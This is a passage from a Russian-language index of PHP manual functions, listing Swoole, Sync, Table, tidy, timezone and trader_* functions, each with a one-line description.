    • Swoole\Coroutine::call_user_func - Вызывает callback-функцию, заданную первым параметром
    • Swoole\Coroutine::call_user_func_array - Вызывает callback-функцию с массивом параметров
    • Swoole\Coroutine::cli_wait - Описание
    • Swoole\Coroutine::create - Описание
    • Swoole\Coroutine::getuid - Описание
    • Swoole\Coroutine::resume - Описание
    • Swoole\Coroutine::suspend - Описание
    • Swoole\Coroutine\Client::close - Описание
    • Swoole\Coroutine\Client::connect - Описание
    • Swoole\Coroutine\Client::getpeername - Описание
    • Swoole\Coroutine\Client::getsockname - Описание
    • Swoole\Coroutine\Client::isConnected - Описание
    • Swoole\Coroutine\Client::recv - Описание
    • Swoole\Coroutine\Client::send - Описание
    • Swoole\Coroutine\Client::sendfile - Описание
    • Swoole\Coroutine\Client::sendto - Описание
    • Swoole\Coroutine\Client::set - Описание
    • Swoole\Coroutine\Client::__construct - Описание
    • Swoole\Coroutine\Client::__destruct - Описание
    • Swoole\Coroutine\Http\Client::addFile - Описание
    • Swoole\Coroutine\Http\Client::close - Описание
    • Swoole\Coroutine\Http\Client::execute - Описание
    • Swoole\Coroutine\Http\Client::get - Описание
    • Swoole\Coroutine\Http\Client::getDefer - Описание
    • Swoole\Coroutine\Http\Client::isConnected - Описание
    • Swoole\Coroutine\Http\Client::post - Описание
    • Swoole\Coroutine\Http\Client::recv - Описание
    • Swoole\Coroutine\Http\Client::set - Описание
    • Swoole\Coroutine\Http\Client::setCookies - Описание
    • Swoole\Coroutine\Http\Client::setData - Описание
    • Swoole\Coroutine\Http\Client::setDefer - Описание
    • Swoole\Coroutine\Http\Client::setHeaders - Описание
    • Swoole\Coroutine\Http\Client::setMethod - Описание
    • Swoole\Coroutine\Http\Client::__construct - Описание
    • Swoole\Coroutine\Http\Client::__destruct - Описание
    • Swoole\Coroutine\MySQL::close - Описание
    • Swoole\Coroutine\MySQL::connect - Описание
    • Swoole\Coroutine\MySQL::getDefer - Описание
    • Swoole\Coroutine\MySQL::query - Описание
    • Swoole\Coroutine\MySQL::recv - Описание
    • Swoole\Coroutine\MySQL::setDefer - Описание
    • Swoole\Coroutine\MySQL::__construct - Описание
    • Swoole\Coroutine\MySQL::__destruct - Описание
    • Swoole\Event::add - Добавляет новые callback-функции сокета в EventLoop
    • Swoole\Event::defer - Добавляет callback-функцию в следующий цикл событий
    • Swoole\Event::del - Удаляет все callback-функции события сокета
    • Swoole\Event::exit - Выходит из цикла событий, доступно только на стороне клиента
    • Swoole\Event::set - Обновляет callback-функции события сокета
    • Swoole\Event::wait - Описание
    • Swoole\Event::write - Записывает данные в сокет
    • Swoole\Http\Client::addFile - Добавляет файл в форму сообщения
    • Swoole\Http\Client::close - Закрывает http-соединение
    • Swoole\Http\Client::download - Загружает файл с удалённого сервера
    • Swoole\Http\Client::execute - Посылает HTTP-запрос после установки параметров
    • Swoole\Http\Client::get - Отправляет HTTP-запрос GET на удалённый сервер
    • Swoole\Http\Client::isConnected - Проверяет, подключено ли соединение HTTP
    • Swoole\Http\Client::on - Регистрирует callback-функцию по имени события
    • Swoole\Http\Client::post - Отправляет HTTP-запрос POST на удалённый сервер
    • Swoole\Http\Client::push - Передаёт данные в клиент websocket
    • Swoole\Http\Client::set - Обновляет параметры HTTP-клиента
    • Swoole\Http\Client::setCookies - Устанавливает cookies для HTTP-запроса
    • Swoole\Http\Client::setData - Устанавливает данные тела HTTP-запроса
    • Swoole\Http\Client::setHeaders - Устанавливает заголовки HTTP-запроса
    • Swoole\Http\Client::setMethod - Устанавливает метод HTTP-запроса
    • Swoole\Http\Client::upgrade - Обновление до протокола websocket
    • Swoole\Http\Client::__construct - Создаёт асинхронный HTTP-клиент
    • Swoole\Http\Client::__destruct - Уничтожает HTTP-клиент
    • Swoole\Http\Request::rawcontent - Получает необработанное тело HTTP POST
    • Swoole\Http\Request::__destruct - Уничтожает HTTP-запрос
    • Swoole\Http\Response::cookie - Устанавливает cookie HTTP-ответа
    • Swoole\Http\Response::end - Отправляет данные HTTP-запроса и завершает ответ
    • Swoole\Http\Response::gzip - Включает gzip-сжатие содержимого ответа.
    • Swoole\Http\Response::header - Устанавливает заголовки HTTP-ответа
    • Swoole\Http\Response::initHeader - Инициировать заголовок HTTP-ответа
    • Swoole\Http\Response::rawcookie - Устанавливает необработанные cookie в HTTP-ответ
    • Swoole\Http\Response::sendfile - Отправляет файл через HTTP-ответ
    • Swoole\Http\Response::status - Устанавливает код состояния HTTP-ответа
    • Swoole\Http\Response::write - Добавляет содержимое тела HTTP в HTTP-ответ
    • Swoole\Http\Response::__destruct - Уничтожает HTTP-ответ
    • Swoole\Http\Server::on - Привязывает callback-функцию к HTTP-серверу по имени события
    • Swoole\Http\Server::start - Запускает http-сервер swoole
    • Swoole\Lock::lock - Пытается получить блокировку. Заблокируется, если блокировка недоступна
    • Swoole\Lock::lock_read - Блокирует чтение-запись блокировки для чтения
    • Swoole\Lock::trylock - Пытается получить блокировку и сразу возвращает, даже если блокировка недоступна
    • Swoole\Lock::trylock_read - Пытается заблокировать блокировку чтения-записи для чтения и сразу возвращает, даже если блокировка недоступна
    • Swoole\Lock::unlock - Снимает блокировку
    • Swoole\Lock::__construct - Создаёт блокировку памяти
    • Swoole\Lock::__destruct - Уничтожает блокировку памяти Swoole
    • Swoole\Mmap::open - Отобразить файл в память и вернуть ресурс потока, который может использоваться операциями потока PHP
    • Swoole\MySQL::close - Закрывает асинхронное соединение MySQL
    • Swoole\MySQL::connect - Подключается к удалённому серверу MySQL
    • Swoole\MySQL::getBuffer - Описание
    • Swoole\MySQL::on - Регистрирует callback-функцию на основе имени события
    • Swoole\MySQL::query - Выполняет запрос SQL
    • Swoole\MySQL::__construct - Создаёт асинхронный клиент MySQL
    • Swoole\MySQL::__destruct - Уничтожает асинхронный клиент MySQL
    • Swoole\Process::alarm - Таймер высокой точности, который запускает сигнал с фиксированным интервалом
    • Swoole\Process::close - Закрывает канал для дочернего процесса
    • Swoole\Process::daemon - Изменяет процесс на процесс-демон
    • Swoole\Process::exec - Выполняет системные команды
    • Swoole\Process::exit - Останавливает дочерние процессы
    • Swoole\Process::freeQueue - Уничтожает очередь сообщений, созданную swoole_process::useQueue
    • Swoole\Process::kill - Посылает сигнал дочернему процессу
    • Swoole\Process::name - Устанавливает название процесса
    • Swoole\Process::pop - Читает и извлекает данные из очереди сообщений
    • Swoole\Process::push - Записывает и помещает данные в очередь сообщений
    • Swoole\Process::read - Читает данные отправки в процесс
    • Swoole\Process::signal - Посылает сигнал дочерним процессам
    • Swoole\Process::start - Запускает процесс
    • Swoole\Process::statQueue - Получает статистику очереди сообщений, используемой в качестве метода связи между процессами
    • Swoole\Process::useQueue - Создаёт очередь сообщений в качестве метода связи между родительским процессом и дочерними процессами
    • Swoole\Process::wait - Ожидает событий дочерних процессов
    • Swoole\Process::write - Записывает данные в канал и связывается с родительским процессом или дочерними процессами
    • Swoole\Process::__construct - Создаёт процесс
    • Swoole\Process::__destruct - Уничтожает процесс
    • Swoole\Redis\Server::format - Описание
    • Swoole\Redis\Server::setHandler - Описание
    • Swoole\Redis\Server::start - Описание
    • Swoole\Serialize::pack - Сериализовать данные
    • Swoole\Serialize::unpack - Десериализовать данные
    • Swoole\Server::addlistener - Добавляет нового слушателя на сервер
    • Swoole\Server::addProcess - Добавляет определённый пользователем swoole_process на сервер
    • Swoole\Server::after - Запускает callback-функцию по истечении определённого периода времени
    • Swoole\Server::bind - Привязывает соединение к указанному идентификатору пользователя
    • Swoole\Server::clearTimer - Останавливает и уничтожает таймер
    • Swoole\Server::close - Закрывает соединение с клиентом
    • Swoole\Server::confirm - Проверяет состояние соединения
    • Swoole\Server::connection_info - Получает информацию о соединении по описанию файла
    • Swoole\Server::connection_list - Получает все установленные соединения
    • Swoole\Server::defer - Откладывает выполнение callback-функции в конце текущего EventLoop
    • Swoole\Server::exist - Проверяет, существует ли соединение
    • Swoole\Server::finish - Используется в процессе задачи для отправки результата в рабочий процесс после завершения задачи
    • Swoole\Server::getClientInfo - Получает информацию о соединении по описанию файла
    • Swoole\Server::getClientList - Получает все установленные соединения
    • Swoole\Server::getLastError - Получает код самой последней ошибки
    • Swoole\Server::heartbeat - Проверяет все соединения на сервере
    • Swoole\Server::listen - Слушает по заданному IP и порту, тип сокета
    • Swoole\Server::on - Регистрирует callback-функцию по имени события
    • Swoole\Server::pause - Прекращает получение данных от соединения
    • Swoole\Server::protect - Устанавливает соединение в защищённый режим
    • Swoole\Server::reload - Перезапускает все рабочие процессы
    • Swoole\Server::resume - Начинает получать данные из соединения
    • Swoole\Server::send - Отправляет данные клиенту
    • Swoole\Server::sendfile - Отправляет файл на соединение
    • Swoole\Server::sendMessage - Отправляет сообщение рабочим процессам по идентификатору
    • Swoole\Server::sendto - Отправляет данные на удалённый UDP-адрес
    • Swoole\Server::sendwait - Отправляет данные в удалённый сокет блокирующим способом
    • Swoole\Server::set - Устанавливает настройки времени выполнения сервера swoole
    • Swoole\Server::shutdown - Завершает процесс главного сервера, функцию можно вызывать в рабочих процессах
    • Swoole\Server::start - Запускает сервер Swoole
    • Swoole\Server::stats - Получает статистику сервера Swoole
    • Swoole\Server::stop - Останавливает сервер Swoole
    • Swoole\Server::task - Отправляет данные в рабочие процессы задачи
    • Swoole\Server::taskwait - Посылает данные рабочим процессам задачи блокирующим способом
    • Swoole\Server::taskWaitMulti - Выполняет несколько задач одновременно
    • Swoole\Server::tick - Повторяет данную функцию в каждый заданный интервал времени
    • Swoole\Server::__construct - Создаёт сервер Swoole
    • Swoole\Server\Port::on - Регистрирует callback-функции по событию
    • Swoole\Server\Port::set - Устанавливает протокол порта сервера
    • Swoole\Server\Port::__construct - Создаёт порт сервера
    • Swoole\Server\Port::__destruct - Уничтожает порт сервера
    • Swoole\Table::column - Устанавливает тип данных и размер столбцов
    • Swoole\Table::count - Подсчитывает строки в таблице или подсчитывает все элементы в таблице, если $mode = 1
    • Swoole\Table::create - Создаёт таблицу памяти swoole
    • Swoole\Table::current - Получает текущую строку
    • Swoole\Table::decr - Уменьшает значение в таблице Swoole по $row_key и $column_key
    • Swoole\Table::del - Удаляет строку в таблице Swoole по $row_key
    • Swoole\Table::destroy - Уничтожает таблицу Swoole
    • Swoole\Table::exist - Проверяет, существует ли строка по $row_key
    • Swoole\Table::get - Получает значение в таблице Swoole по $row_key и $column_key
    • Swoole\Table::incr - Увеличивает значение по $row_key и $column_key
    • Swoole\Table::key - Получает ключ текущей строки
    • Swoole\Table::next - Перемещает итератор на следующую строку
    • Swoole\Table::rewind - Перематывает итератор
    • Swoole\Table::set - Обновляет строку таблицы по $row_key
    • Swoole\Table::valid - Проверяет, является ли текущая строка корректной
    • Swoole\Table::__construct - Создаёт таблицу памяти Swoole с фиксированным размером
    • Swoole\Timer::after - Запускает callback-функцию через определённый промежуток времени
    • Swoole\Timer::clear - Удаляет таймер по идентификатору
    • Swoole\Timer::exists - Проверяет, существует ли таймер
    • Swoole\Timer::tick - Повторяет данную функцию в каждый заданный интервал времени
    • Swoole\WebSocket\Server::exist - Проверяет, существует ли описание файла
    • Swoole\WebSocket\Server::on - Зарегистрировать callback-функцию события
    • Swoole\WebSocket\Server::pack - Получение пакета двоичных данных для отправки в одной группе данных (frame)
    • Swoole\WebSocket\Server::push - Отправить данные удалённому клиенту
    • Swoole\WebSocket\Server::unpack - Распаковать двоичные данные, полученные от клиента
    • swoole_async_dns_lookup - Асинхронный и неблокирующий поиск имени хоста или IP-адреса
    • swoole_async_read - Асинхронное чтение потока файла
    • swoole_async_readfile - Асинхронное чтение файла
    • swoole_async_set - Обновление опций асинхронного ввода-вывода
    • swoole_async_write - Асинхронная запись данных в поток файла
    • swoole_async_writefile - Асинхронная запись данных в файл
    • swoole_clear_error - Сбрасывает ошибки в сокете или по последнему коду ошибки
    • swoole_client_select - Получить описание файла, готового к чтению/записи или ошибке
    • swoole_cpu_num - Получить количество CPU
    • swoole_errno - Получить код ошибки последнего системного вызова
    • swoole_error_log - Выводит сообщения об ошибках в журнал
    • swoole_event_add - Добавить новых callback-функций сокета в цикл событий
    • swoole_event_defer - Добавить callback-функцию в следующий цикл событий
    • swoole_event_del - Удалить все callback-функции сокета
    • swoole_event_exit - Закрыть цикл событий, доступный только на стороне клиента
    • swoole_event_set - Обновить callback-функции события сокета
    • swoole_event_wait - Запустить цикл событий
    • swoole_event_write - Записать данные в сокет
    • swoole_get_local_ip - Получить IP-адреса в формате IPv4 каждой сетевой платы (NIC) компьютера
    • swoole_last_error - Получить последнее сообщение об ошибке
    • swoole_load_module - Загрузить модуль swoole
    • swoole_select - Выбрать описания файлов, которые готовы к чтению/записи или ошибке в цикл событий
    • swoole_set_process_name - Установить имя процесса
    • swoole_strerror - Сконвертировать Errno в сообщения об ошибках
    • swoole_timer_after - Запуск callback-функции один раз в будущем
    • swoole_timer_exists - Проверить, существует ли callback-функция таймера
    • swoole_timer_tick - Вызвать callback-функцию таймера тактов через определённый промежуток времени
    • swoole_version - Получить версию Swoole
    • symlink - Создаёт символическую ссылку
    • SyncEvent::fire - Запускает/устанавливает событие
    • SyncEvent::reset - Сбрасывает ручное событие
    • SyncEvent::wait - Ожидает запуска/установки события
    • SyncEvent::__construct - Создаёт новый объект SyncEvent
    • SyncMutex::lock - Ждёт эксклюзивной блокировки
    • SyncMutex::unlock - Разблокирует мьютекс
    • SyncMutex::__construct - Создаёт новый объект SyncMutex
    • SyncReaderWriter::readlock - Ожидает блокировки чтения
    • SyncReaderWriter::readunlock - Снимает блокировку чтения
    • SyncReaderWriter::writelock - Ожидает эксклюзивной блокировки записи
    • SyncReaderWriter::writeunlock - Снимает блокировку записи
    • SyncReaderWriter::__construct - Создаёт новый объект SyncReaderWriter
    • SyncSemaphore::lock - Уменьшает счёт семафора или ждёт
    • SyncSemaphore::unlock - Увеличивает счёт семафора
    • SyncSemaphore::__construct - Создаёт новый объект SyncSemaphore
    • SyncSharedMemory::first - Проверяет, является ли объект первым общесистемным экземпляром именованной разделяемой памяти
    • SyncSharedMemory::read - Копирует данные из именованной разделяемой памяти
    • SyncSharedMemory::size - Возвращает размер именованной разделяемой памяти
    • SyncSharedMemory::write - Копирует данные в именованную разделяемую память
    • SyncSharedMemory::__construct - Создаёт новый объект SyncSharedMemory
    • syslog - Генерирует сообщение для системного журнала
    • system - Выполнить внешнюю программу и отобразить вывод
    • sys_getloadavg - Получает среднюю загрузку системы
    • sys_get_temp_dir - Возвращает путь к директории временных файлов
  • t
    • Table::count - Получить количество строк
    • Table::delete - Удалить строки из таблицы
    • Table::existsInDatabase - Проверить, существует ли таблица в базе данных
    • Table::getName - Получить имя таблицы
    • Table::getSchema - Получить схему таблицы
    • Table::getSession - Получить таблицу сессий
    • Table::insert - Вставить строки таблицы
    • Table::isView - Проверить, является ли таблица представлением
    • Table::select - Выбрать строки из таблицы
    • Table::update - Обновить строки в таблице
    • Table::__construct - Конструктор Table
    • TableDelete::bind - Связывает параметры запроса удаления
    • TableDelete::execute - Выполняет запрос на удаление
    • TableDelete::limit - Ограничивает строки для удаления
    • TableDelete::orderby - Устанавливает критерии сортировки удаления
    • TableDelete::where - Устанавливает условие поиска для удаления
    • TableDelete::__construct - Конструктор класса TableDelete
    • TableInsert::execute - Выполняет запрос вставки
    • TableInsert::values - Добавляет значения вставки строки
    • TableInsert::__construct - Конструктор класса TableInsert
    • TableSelect::bind - Привязывает параметры запроса выборки
    • TableSelect::execute - Выполняет оператор выборки
    • TableSelect::groupBy - Устанавливает критерии группировки выборки
    • TableSelect::having - Устанавливает выбор с условием
    • TableSelect::limit - Ограничивает выбранные строки
    • TableSelect::lockExclusive - Выполняет EXCLUSIVE LOCK
    • TableSelect::lockShared - Выполняет SHARED LOCK
    • TableSelect::offset - Устанавливает предел смещения
    • TableSelect::orderby - Устанавливает критерии сортировки выборки
    • TableSelect::where - Устанавливает условие поиска выборки
    • TableSelect::__construct - Конструктор класса TableSelect
    • TableUpdate::bind - Привязывает параметры запроса на обновление
    • TableUpdate::execute - Выполняет запрос на обновление
    • TableUpdate::limit - Ограничивает количество строк для обновления
    • TableUpdate::orderby - Устанавливает критерии сортировки
    • TableUpdate::set - Добавляет поле для обновления
    • TableUpdate::where - Устанавливает фильтр поиска
    • TableUpdate::__construct - Конструктор класса TableUpdate
    • taint - Испортить строку
    • tan - Вычисляет тангенс
    • tanh - Вычисляет гиперболический тангенс
    • tcpwrap_check - Производит проверку tcpwrap
    • tempnam - Создаёт файл с уникальным именем
    • textdomain - Устанавливает домен по умолчанию
    • Thread::getCreatorId - Идентификация
    • Thread::getCurrentThread - Идентификация
    • Thread::getCurrentThreadId - Идентификация
    • Thread::getThreadId - Идентификация
    • Thread::isJoined - Определение состояния
    • Thread::isStarted - Определение состояния
    • Thread::join - Синхронизация
    • Thread::start - Выполнение
    • Threaded::chunk - Обработка
    • Threaded::count - Обработка
    • Threaded::extend - Обработка во время выполнения
    • Threaded::isRunning - Определение состояния
    • Threaded::isTerminated - Определение состояния
    • Threaded::merge - Обработка
    • Threaded::notify - Синхронизация
    • Threaded::notifyOne - Синхронизация
    • Threaded::pop - Обработка
    • Threaded::run - Выполнение
    • Threaded::shift - Обработка
    • Threaded::synchronized - Синхронизация
    • Threaded::wait - Синхронизация
    • Throwable::getCode - Возвращает код исключения
    • Throwable::getFile - Возвращает файл, в котором выброшено исключение
    • Throwable::getLine - Получает строку скрипта, в которой данный объект был выброшен
    • Throwable::getMessage - Получает сообщение ошибки
    • Throwable::getPrevious - Возвращает предыдущий Throwable
    • Throwable::getTrace - Возвращает трассировку стека
    • Throwable::getTraceAsString - Получает результаты трассировки стека в виде строки
    • Throwable::__toString - Получает строковое представление выброшенного объекта
    • tidy::$errorBuffer - Возвращает предупреждения и ошибки, возникшие при разборе указанного документа
    • tidy::body - Возвращает объект tidyNode, начиная с тега <body> разобранного tidy-дерева
    • tidy::cleanRepair - Выполнить настроенную очистку и восстановление разобранной разметки
    • tidy::diagnose - Запуск настроенной диагностики для разобранной и восстановленной разметки
    • tidy::getConfig - Получает текущую конфигурацию Tidy
    • tidy::getHtmlVer - Получает обнаруженную HTML версию для указанного документа
    • tidy::getOpt - Возвращает значение указанного параметра конфигурации для документа tidy
    • tidy::getOptDoc - Возвращает описание для опции с указанным названием
    • tidy::getRelease - Получить дату релиза (версию) для библиотеки Tidy
    • tidy::getStatus - Получает статус указанного документа
    • tidy::head - Возвращает объект tidyNode, начиная с тега <head> разобранного tidy-дерева
    • tidy::html - Возвращает объект tidyNode, начиная с тега <html> разобранного tidy-дерева
    • tidy::isXhtml - Определяет, является ли документ XHTML-документом
    • tidy::isXml - Определяет, является ли документ общим XML-документом (не HTML/XHTML)
    • tidy::parseFile - Разбор разметки в файле или URI
    • tidy::parseString - Разбор документа, хранимого в строке
    • tidy::repairFile - Восстанавливает разметку файла и возвращает его в виде строки
    • tidy::repairString - Восстанавливает строку, используя по возможности конфигурационный файл
    • tidy::root - Возвращает объект tidyNode, представляющий вершину разобранного tidy-дерева
    • tidy::__construct - Создаёт новый tidy-объект
    • tidyNode::getParent - Возвращает родительский узел текущего узла
    • tidyNode::hasChildren - Проверяет существование потомков у узла
    • tidyNode::hasSiblings - Проверяет существование соседних узлов
    • tidyNode::isAsp - Проверяет текущий узел на соответствие ASP
    • tidyNode::isComment - Проверяет, является ли узел комментарием
    • tidyNode::isHtml - Проверяет, является ли узел узлом элемента
    • tidyNode::isJste - Проверяет текущий узел на соответствие JSTE
    • tidyNode::isPhp - Проверяет, является ли текущий узел PHP-кодом
    • tidyNode::isText - Проверяет, является ли текущий узел обычным текстом (не разметкой)
    • tidyNode::__construct - Приватный конструктор, делающий невозможным прямое создание объекта
    • tidy_access_count - Возвращает число доступных предупреждений Tidy, встретившихся в рассмотренном документе
    • tidy_config_count - Возвращает число ошибок конфигурации Tidy, встретившихся при рассмотрении документа
    • tidy_error_count - Возвращает число ошибок Tidy, встретившихся при рассмотрении документа
    • tidy_get_output - Возвращает строку, представляющую разобранную tidy-разметку
    • tidy_warning_count - Возвращает число Tidy-предупреждений, встреченных в указанном документе
    • time - Возвращает текущую метку системного времени Unix
    • timezone_abbreviations_list - Псевдоним DateTimeZone::listAbbreviations
    • timezone_identifiers_list - Псевдоним DateTimeZone::listIdentifiers
    • timezone_location_get - Псевдоним DateTimeZone::getLocation
    • timezone_name_from_abbr - Возвращает название часового пояса, угадывая по аббревиатуре и смещению UTC
    • timezone_name_get - Псевдоним DateTimeZone::getName
    • timezone_offset_get - Псевдоним DateTimeZone::getOffset
    • timezone_open - Псевдоним DateTimeZone::__construct
    • timezone_transitions_get - Псевдоним DateTimeZone::getTransitions
    • timezone_version_get - Получение номера версии базы данных часовых поясов
    • time_nanosleep - Задержка на заданное число секунд и наносекунд
    • time_sleep_until - Откладывает исполнение скрипта до заданного времени
    • tmpfile - Создаёт временный файл
    • token_get_all - Разбивает переданный исходный код на PHP-лексемы
    • token_name - Получить символьное имя для переданной PHP-лексемы
    • touch - Устанавливает время доступа и модификации файла
    • trader_acos - Вычисляет векторный тригонометрический арккосинус
    • trader_ad - Формирует данные для индикатора линии накопления/распределения Чайкина
    • trader_add - Складывает арифметические векторы
    • trader_adosc - Формирует данные для индикатора накопления/распределения осцилятора Чайкина
    • trader_adx - Вычисляет средний индекс направленного движения
    • trader_adxr - Вычисляет средний рейтинг индекса направленного движения
    • trader_apo - Формирует данные осцилятора абсолютной цены
    • trader_aroon - Формирует данные для индикатора Aroon
    • trader_aroonosc - Формирует данные для осциллятора индикатора Aroon
    • trader_asin - Вычисляет векторный тригонометрический арксинус
    • trader_atan - Векторный тригонометрический арктангенс
    • trader_atr - Вычисляет средний истинный диапазон
    • trader_avgprice - Вычисляет среднюю цену
    • trader_bbands - Формирует данные для полос Боллинджера
    • trader_beta - Вычисляет бета-коэффициент
    • trader_bop - Вычисляет баланс сил
    • trader_cci - Вычисляет индекс товарного канала
    • trader_cdl2crows - Вычисляет данные для свечной модели «Две вороны»
    • trader_cdl3blackcrows - Вычисляет данные для свечной модели «Три чёрных ворона»
    • trader_cdl3inside - Вычисляет данные для свечной модели «Три дня изнутри вверх и три дня изнутри вниз»
    • trader_cdl3linestrike - Вычисляет данные для свечной модели «Тройной удар»
    • trader_cdl3outside - Вычисляет данные для свечной модели «Три внешних дня вверх и три внешних дня вниз»
    • trader_cdl3starsinsouth - Вычисляет данные для свечной модели «Три южных звезды»
    • trader_cdl3whitesoldiers - Вычисляет данные для модели «Три наступающих белых солдата»
    • trader_cdlabandonedbaby - Вычисляет данные для свечной модели «Брошенное дитя»
    • trader_cdladvanceblock - Вычисляет данные для свечной модели «Отбитое наступление»
    • trader_cdlbelthold - Вычисляет данные для свечной модели «Захват за пояс»
    • trader_cdlbreakaway - Вычисляет данные для свечной модели «Отрыв»
    • trader_cdlclosingmarubozu - Вычисляет данные для свечной модели «Закрытие Марубозу»
    • trader_cdlconcealbabyswall - Вычисляет данные для свечной модели «Прячущаяся ласточка»
    • trader_cdlcounterattack - Вычисляет данные для свечной модели «Контратака»
    • trader_cdldarkcloudcover - Вычисляет данные для свечной модели «Завеса из тёмных облаков»
    • trader_cdldoji - Вычисляет данные для свечной модели «Дожи»
    • trader_cdldojistar - Вычисляет данные для свечной модели «Звезда Дожи»
    • trader_cdldragonflydoji - Вычисляет данные для свечной модели «Стрекоза Дожи»
    • trader_cdlengulfing - Вычисляет данные для свечной модели «Поглощение»
    • trader_cdleveningdojistar - Вычисляет данные для свечной модели «Вечерняя звезда Дожи»
    • trader_cdleveningstar - Вычисляет данные для свечной модели «Вечерняя звезда»
    • trader_cdlgapsidesidewhite - Вычисляет данные для свечной модели «Смежные белые свечи»
    • trader_cdlgravestonedoji - Вычисляет данные для свечной модели «Надгробие Дожи»
    • trader_cdlhammer - Вычисляет данные для свечной модели «Молот»
    • trader_cdlhangingman - Вычисляет данные для свечной модели «Висельник»
    • trader_cdlharami - Вычисляет данные для свечной модели «Харами»
    • trader_cdlharamicross - Вычисляет данные для свечной модели «Крест Харами»
    • trader_cdlhighwave - Вычисляет данные для свечной модели «Высокая волна»
    • trader_cdlhikkake - Вычисляет данные для свечной модели «Крюк»
    • trader_cdlhikkakemod - Вычисляет данные для модифицированной свечной модели «Крюк»
    • trader_cdlhomingpigeon - Вычисляет данные для свечной модели «Почтовый голубь»
    • trader_cdlidentical3crows - Вычисляет данные для свечной модели «Три одинаковые вороны»
    • trader_cdlinneck - Вычисляет данные для свечной модели «На линии шеи»
    • trader_cdlinvertedhammer - Вычисляет данные для свечной модели «Перевёрнутый молоток»
    • trader_cdlkicking - Вычисляет данные для свечной модели «Высокий прыжок»
    • trader_cdlkickingbylength - Вычисляет данные для свечной модели «Высокий прыжок» — бык/медведь определяется по длинному Марубозу
    • trader_cdlladderbottom - Вычисляет данные для свечной модели «Ступенчатое дно»
    • trader_cdllongleggeddoji - Вычисляет данные для свечной модели «Длинноногий Дожи»
    • trader_cdllongline - Вычисляет данные для свечной модели «Длинная свеча»
    • trader_cdlmarubozu - Вычисляет данные для свечной модели «Марубозу»
    • trader_cdlmatchinglow - Вычисляет данные для свечной модели «Совпадение по нижнему уровню»
    • trader_cdlmathold - Вычисляет данные для свечной модели «Удержание на татами»
    • trader_cdlmorningdojistar - Вычисляет данные для свечной модели «Утренняя звезда Дожи»
    • trader_cdlmorningstar - Вычисляет данные для свечной модели «Утренняя звезда»
    • trader_cdlonneck - Вычисляет данные для свечной модели «У линии шеи»
    • trader_cdlpiercing - Вычисляет данные для свечной модели «Просвет в облаках»
    • trader_cdlrickshawman - Вычисляет данные для свечной модели «Длинноногий Дожи»
    • trader_cdlrisefall3methods - Вычисляет рост/падение для свечной модели «Три метода»
    • trader_cdlseparatinglines - Вычисляет данные для свечной модели «Разделение»
    • trader_cdlshootingstar - Вычисляет данные для свечной модели «Падающая звезда»
    • trader_cdlshortline - Вычисляет данные для свечной модели «Свеча короткой линии»
    • trader_cdlspinningtop - Вычисляет данные для свечной модели «Волчок»
    • trader_cdlstalledpattern - Вычисляет данные для свечной модели «Торможение»
    • trader_cdlsticksandwich - Вычисляет данные для свечной модели «Прилипший сэндвич»
    • trader_cdltakuri - Вычисляет данные для свечной модели «Такури» («Стрекоза Дожи» с очень длинной нижней тенью)
    • trader_cdltasukigap - Вычисляет данные для свечной модели «Разрыв Тасуки»
    • trader_cdlthrusting - Вычисляет данные для свечной модели «Толчок»
    • trader_cdltristar - Вычисляет данные для свечной модели «Тристар»
    • trader_cdlunique3river - Вычисляет данные для свечной модели «Особая впадина три реки»
    • trader_cdlupsidegap2crows - Вычисляет данные разрыва вверх для свечной модели «Две вороны»
    • trader_cdlxsidegap3methods - Вычисляет восходящий/нисходящий разрыв для свечной модели «Три метода»
    • trader_ceil - Вычисляет вектор наибольшего целого числа
    • trader_cmo - Вычисляет осциллятор импульса Чанде
    • trader_correl - Вычисляет коэффициент линейной корреляции Пирсона, или r-Пирсона
    • trader_cos - Вычисляет тригонометрический вектор косинуса
    • trader_cosh - Вычисляет тригонометрический вектор гиперболического косинуса
    • trader_dema - Вычисляет двойную экспоненциальную скользящую среднюю
    • trader_div - Делит арифметический вектор
    • trader_dx - Вычисляет индекс направленного движения
    • trader_ema - Возвращает экспоненциальную скользящую среднюю
    • trader_errno - Получает код ошибки
    • trader_exp - Вычисляет арифметический вектор возведения в степень
    • trader_floor - Вычисляет вектор наименьшего числа
    • trader_get_compat - Получает режим совместимости
    • trader_get_unstable_period - Получает нестабильный период
    • trader_ht_dcperiod - Вычисляет период доминантного цикла через преобразование Гильберта
    • trader_ht_dcphase - Вычисляет фазу доминирующего цикла через преобразование Гильберта
    • trader_ht_phasor - Формирует через преобразование Гильберта данные для индикатора «Компоненты фазового вектора»
    • trader_ht_sine - Формирует через преобразование Гильберта данные для индикатора «Синусоидальная волна»
    • trader_ht_trendline - Формирует через преобразование Гильберта данные для индикатора «Мгновенная линия тренда»
    • trader_ht_trendmode - Формирует через преобразование Гильберта данные для индикатора «Тренд против цикла»
    • trader_kama - Вычисляет адаптивную скользящую среднюю Кауфмана
    • trader_linearreg - Вычисляет линейную регрессию
    • trader_linearreg_angle - Вычисляет линейный регрессионный угол
    • trader_linearreg_intercept - Вычисляет перехват линейной регрессии
    • trader_linearreg_slope - Вычисляет линейный регрессионный наклон
    • trader_ln - Вычисляет вектор натурального логарифма
    • trader_log10 - Вычисляет вектор логарифма по основанию 10
    • trader_ma - Вычисляет скользящую среднюю
    • trader_macd - Вычисляет скользящую среднюю схождения-расхождения
    • trader_macdext - Вычисляет схождение-расхождение скользящих средних MACD с управляемым типом скользящего среднего MA
    • trader_macdfix - Вычисляет исправление схождения-расхождения скользящей средней 12/26
    • trader_mama - Вычисляет адаптивную скользящую среднюю MESA (Maximum Entropy Spectrum Analysis)
    • trader_mavp - Вычисляет скользящую среднюю с переменным периодом
    • trader_max - Вычисляет наибольшее значение за период
    • trader_maxindex - Вычисляет индекс наибольшего значения за период
    • trader_medprice - Вычисляет среднюю цену
    • trader_mfi - Рассчитывает индекс денежных потоков
    • trader_midpoint - Вычисляет середину отрезка за период
    • trader_midprice - Вычисляет среднюю цену за период
    • trader_min - Возвращает наименьшее значение за период
    • trader_minindex - Вычисляет индекс наименьшего значения за период
    • trader_minmax - Вычисляет самые низкие и самые высокие значения за период
    • trader_minmaxindex - Вычисляет индексы самых низких и самых высоких значений за период
    • trader_minus_di - Вычисляет минус-направленный индикатор
    • trader_minus_dm - Вычисляет минус-направленное движение
    • trader_mom - Возвращает импульс
    • trader_mult - Умножает арифметический вектор
    • trader_natr - Вычисляет нормализованный средний истинный диапазон
    • trader_obv - Формирует данные для индикатора балансового объёма
    • trader_plus_di - Вычисляет плюс-направленный индикатор
    • trader_plus_dm - Вычисляет плюс-направленное движение
